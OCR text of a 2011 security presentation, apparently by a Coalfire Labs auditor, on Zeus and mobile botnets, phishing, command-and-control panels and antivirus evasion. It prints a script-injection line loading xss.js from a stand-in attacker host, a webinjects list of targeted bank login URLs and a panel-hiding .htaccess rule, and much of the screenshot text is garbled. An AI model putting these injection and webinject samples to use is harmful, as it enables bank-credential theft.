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Mobile Botnet Trends 2011 - Agenda

= What are Botnets?
= How do users get infected with malware?
= How are mobile devices at risk?

= | atest Botnet trends and functionalities



What is a Botnet?

Multiple infected computers and
mobile devices under the control
of an individual Botnet Operator.



Analysis of a Zeus Botnet Compromise

c o Unprotected
Drive-by-Download... Website

s 1

<SCRIPT SRC=“http://h@ck3r.com/xss.js”>
</SCRIPT>

Victim
Web Surfer

v

h@ck3r

(1) h@ck3r posts JavaScript, iFrame, or other malicious HTML tag onto an unprotected
website. (via “comments” form, “guestbook” form, etc)

(2) Victim web surfer visits the infected web page. The unprotected website delivers the
web page, along with malicious content posted by the h@ck3r.

(3) Malicious HTML tag makes a request to hacker’s server, which downloads
malware onto the victim’s computer (through their web browser & plugins).



Analysis of a Zeus Botnet Compromise

Social Engineering... 2011 Tax Season

A - :
¥ Internal Revenue Service

United States Department of the Treasury

Fraud Application

1. Tax Notice Received on e-mail v/

Taxpayer ID:
Tax Type: INCOME TAX
Issue: Unreported/Underreported Income (Fraud Application)

Filing and paying your federal taxes correctly and on time is an important
part of living and working in the United States.
Please review (download and execute) your tax statement:

bot-1-2-7-19.exe

If the statement is incorrect, contact our Taxpayer Advocate Service.

IRS Privacy Policy



e Ty . 3 :
| Downloaded: 86.5KE in 1 sec
| Download ko C:\Documents an.. \bot_1-2-7-19,exe
Transfer rake: 86,5k 9ec

[ ] Cloze thiz dialog box when download completes

[ Run ] ’ Open Faolder l [ Close




Legitimate Application

Do you want to install this
application?

Allow this application to:

v Network communication

v Hardware controls

Hide

Install Cancel

Malicious Application

Do you want to install this
application?

Allow this application to:

v Your messages

v Your personal information
v Network communication

r Storace

-—-1—4

</

IT Audit and Compliance



Analysis of a Zeus Botnet Compromise

Zeus Botnet Command & Control

| ' Bots action: | Full information sl > |
ol eotio  Joctot_Trerwonlirt  Teoutnfontis inelaencyfcomments
[(J 1 mycomputer 00028356 -- default - 1.2.7.19 00:03:27 0.000 -
71 2 imycomputer_ 00054824 --default -- 1.2.7.19 - 11:32:56 0.000 -
3 myoomputer 00031577 --default -- 1,.2.7.19 - 32:19:22 0.000 -
] 4 mycomputer 00021255 - default - 1.2.7.19 . 41:0319  0.000 -
] 5 mycomputer 00033841 - default - 1.2.7.19 - 75:51:48 0,000 -

= - =
Full information

Full information + screenshot

Today reports

Reports for last 7 days

Files

Remove from database

Remove from database including reports
Check socks

Create new script




Analysis of a Zeus Botnet Compromise

Zeus Botnet Captures Bank Login Credentials

Bol 10 mycomputer_001 30128

Boinei: --defauli --

Vamsion: 127189 m—=—====—=======================================================================
OS Version: XP Professional SP 2, buid 2600 bot id=0EZE44DF465C41L 7875768F2667TA927
0S5 Languags: 1033 thHEt— N

Local fime: 14.01 2010 23:07:00 hor_version=z.0.5.9

GMT: +0:00 ipwv4=15a. 9o . .

Session {ime: 00:26:27 country=DE

Repon time: 14.01.20010 23:07:55 type=12

Country: rtiwme=05:42:52 19.04.2011

IPwd:

time system=15:41:42 19.04.:2011

time tick=00:00:57

time localbias=TER

os_version=EGg

language id=1033

process_na.me=C:\Pngram Filesh Internet Explorerh iexplore.exe

process_user =GN, . inistrator

Commenis farboi: -
In the list of used: Ho
Pmocass nams: C\Pmgmam Fiesiniemel ExploeflEXPLORE.EXE

Soume: hiips:/siekey bankofamenca.com=assignon.do flocak=en_US

https://sitekey.bankofamerica.com/sas/signon.do?lo
Referer: https://sitekey.bankofamerica.com/sas/sig

Keys: fakeonlineid path_source=https://banking. Y1 ooin. do
Da‘ta: CONTEXT=
Eeferer:

nextAction=signon i
|pm_fp=version%253D1%2526pm255Ff pua%2530mozi 1 1a%22 User input:

customer_Type=MODEL POST data:

reason= .

ortal= jstn=true

Eistory: accountiuber=o R~

cache= p inturie - =S
dltoken= action=Anme lden
pmbutton=false

hidstate=CO

reallD=

onlinelD=fakeonlineid |

s1tekeySignon=true




Analysis of a Zeus Botnet Compromise

Zeus Botnet Hijacks Bank Account Logins with Weblnjects

| webinjects.txt 3¢ |

Iset_url
set_url
set_url

iset_url

Iset_url
set_url
set_url

|set_url
set_url
set_url
set_url

iset_url
lset_url
set_url
set_url
|set_url
set_url
set_url
set_url
iset_url

Iset_url

set_url

*/my . ebay . com/*Cu rrentPage=MyeBayPersonalInfo* GL

https:
https:
https:
https:
https:
https:
https:
https:
https:
https:
https:
https:
https:
https:
https:
https:
https:
https:
https:
https:
https:

//wwvi.us.hsbc.com/* GL

//www.e-gold. com/acct/balance.asp* GPL
//online.wellsfargo.com/das/cgi-bin/session.cgi* GL

//wwwi. paypal.com/*/webscr?cmd=_login-done* GL

//www#. usbank.com/internetBanking/LoginRouter PL

//easyweb*. tdcanadatrust.com/servliet/*FinancialSummaryServliet* GL
//www#. citizensbankonline.com/*/index-wait. jsp GL
//onlinebanking.nationalcity.com/0LB/secure/AccountList.aspx GL
//www. suntrust.com/portal/server.pt*parentname=Login* GL

//www. 53, com/servliet/efsonline/index. html* GL
//web.da-us.citibank.com/*BS_Id=MemberHomepage* GL

//onlineeast#. bankofamerica.com/cgi-bin/ias/*/GotowWelcome GL
//online.wamu.com/Servicing/Servicing.aspx?targetPage=AccountSummary GL
//onlinebanking#.wachovia.com/myAccounts.aspx?referrer=authService GL
//resources.chase.com/MyAccounts.aspx GL
//bancaonline.openbank.es/serviet/PProxy?* GP
//extranet.banesto.es/*/loginParticulares.htm GP
//banesnet.banesto.es/*/loginEmpresas.htm GP
//empresas.gruposantander.es/WebEmpresas/servlet/webempresas. servliets. * GP
//wwvi. gruposantander.es/bog/shi*?ptns=acceso* GP
//www.bbvanetoffice.com/local_bdno/login_bbvanetoffice.html GP



Anti-virus Evasion

* Pre-deployment AV testing

* Anti-discovery and protection means

* Avoid detection at all costs
* No Shit Reports

My autoscan

File/folder

build.exe

http: /A 66 59dd
Ju3EUyZkF7ab.php?dbg=ip

http://| /d66m5gdd

Ju3EUyZkFT7ab.php?s=76c271c154a5482de2b

1build.exe
Data ckanuposauuma: 10-01-2011 14:04:16
K crarucTHke no dawiam

a variant of Win32/Kryptik.JNP
a variant of Win32/Kryptik.JNP

NOD32 build.exe

build.exe » UPX
vl3 m2

Total infected: 1/40

Time
10.01.2011
14.04.16
09.01.2011
17.35.29
09.01.2011
17.31.28
09.01.2011

Frequency

Control Panel 2.0.8.9 (Stripped) Installer

This application install and configure your control panel on this
server. Please type settings and press 'Install'.

CP 1z Options
Information I =1
T S Reports
GHT date: 07.03.2011 Local path: 1
GHT time: 13:24:12
Statistics! ™ Write reports to database.
SumEnary I™ write reports to local path.
05 P No-Shit reports (anly: £, Bank, Finandsl and lagin =).|
vomet onee
Bots Timeout of online status (minutes): [25
Sonpts Encryption key: [mae
Raporta: : :
Search in database _
Saarch in filas
Jabber notifier
Biynamic config
(v binjects)
Sywtmen:

Information
- Options
Lsar

Users

Logaut

R R R

#Anti Z5 spyeyes Tracker

#Bvy TiTaN For (G

#84.74.142.% #
R R R

RewriteEngine on

RewriteCond %{HTTP_REFERER} “http:}{.*googlel.com [NC]
| RewriteRule .* - [F]

R I R I I R RN
#Spider BlockerfCrawlerfBot's #
R I R I I R RN




AV Detection Rates: 25-30%

boT_1d=ABC_7875768F84259CA4
-

bCIT_r'IET_ = Firesale Botnet_
bot_wersion=2.1.0.1 =

ipv4=8E. 2. I Main Meni
Country=EsS

type=1

rtime=16:20:59 o4 2011
time_system=16:18:38 [Jjjo4. 2011
time_tick=00:02:38
time_localbias=-7:00

os_version
Tanguage_id=1033
process_name=C: \WINDOWS"Explorer.EXE
process_user=S Administrator
path_source=
context=
wininet(Internet Explorer) cookies:path: | 2cco

F Autostart
Fake Error
Anti Codes
ExE Pumper

X Prozess Killer

; lcon Changer

5 Rootkit
Bypasser
Persistant

Create task ¢~ Modif’ Tasks Bots c e
“for Billing  * = 'Cards Il statistic &5 Monitoring Spread Optionen
ot i Ban Create task reate task
i Settings (@ Bots ¥ Tor Loader Yy ?or Knocker

UAC Bypass

Hack the Planet!

S L9
Take your money!

L Firewall Bypass
b Defender Bypass
WiCenter Bypass

Tue Apr 2011 18:38:19 +0400

81c26518db%1h6asa7ed45665£25Teedf edbdf01b576b7c14141be509473d59067

dbmd5 =

- TUPDATE for bot "magazapc!_CCEF’?Dl?" :

Anti Anubis

Anti VMware
Anti Norman
Anti Qut Post
Anti Virtual PC
Anti Virtual Box
Anti Sniffer

Anti Kaspersky
Anti Bitdefender
Anti Zone Alarm
Anti Mahwarebyte

EEEEEEEEEEE

% [ USB Spread
N F P2P Spread
ki LAN Spread
£=F RAR Spread

Your Domain

/botphp @

% H 1CQ Spread
s B MSN Spread

® H skype Spread

@

bot_ver = lD- : mds =



ZITMO: Zeus In The Mobile

1)

2)

3)

4)

Victim’s computer is first infected with Zeus botnet malware.

On the infected computer, HTML is injected into the web browser when
a bank’s login page is loaded, which requests the Model# and
Telephone# of the victim’s cell phone.

With this information, the attacker sends an SMS message back to the
victim’s phone, with a link to malware targeting their mobile device.

Once ZITMO malware is installed on the mobile device, the attacker
can control both the victim’s computer and smart phone.

</
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Which Phones are at Risk?

Operating Systems:

Android, 10S, Symbian, BlackBerry, Windows Mobile

Manufacturers:

Acer

Airo Wireless
Amoi

Asus

AT&T

BenQ
Beng-Siemens
BlackBerry
Cingular

Dell

Dopod

Eten
Garmin-Asus
General Mobile

Gigabyte
Hitachi
HP

HTC
I-mate
Kyocera
LG
MITAC
Motorola
Neonode
Nokia
02
Orange
Palm

Panasonic
Pantech

PCD

Qtek

Sagem
Samsung
Sendo
Siemens
Sierra Wireless
Sony Ericsson
T-Mobile
Toshiba
Velocity
Verizon Wireless 5
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Attack Framework for Android Targets

¥ ||“ . 9:28

Connect

Spy

o Ve

</
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Mobile Malware targets all platforms

Infected iPhone

.l ATET 3G 11:53 PM 88 % [wm}

11:53 PM

Wednesday, April 27

hackerz
we iz takin over!! hide yo
contacts, hide yo texts, and hide

yo emails cuz dey hackin
errybody out here

Infected Android

AANL D &7 L .= 12:46am

@ Lookout Malware Alert

"Super Guitar Solo" is malware.
It has been identified as Trojan.
Android.DroidDream.a.

Uninstall More Info Close

</
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Questions?

Steve Fox, CISSP, GPEN, GCFA, Security+

Senior Security Auditor
Coalfire Labs

303-875-2294
Steve.Fox@CoalfireLabs.com
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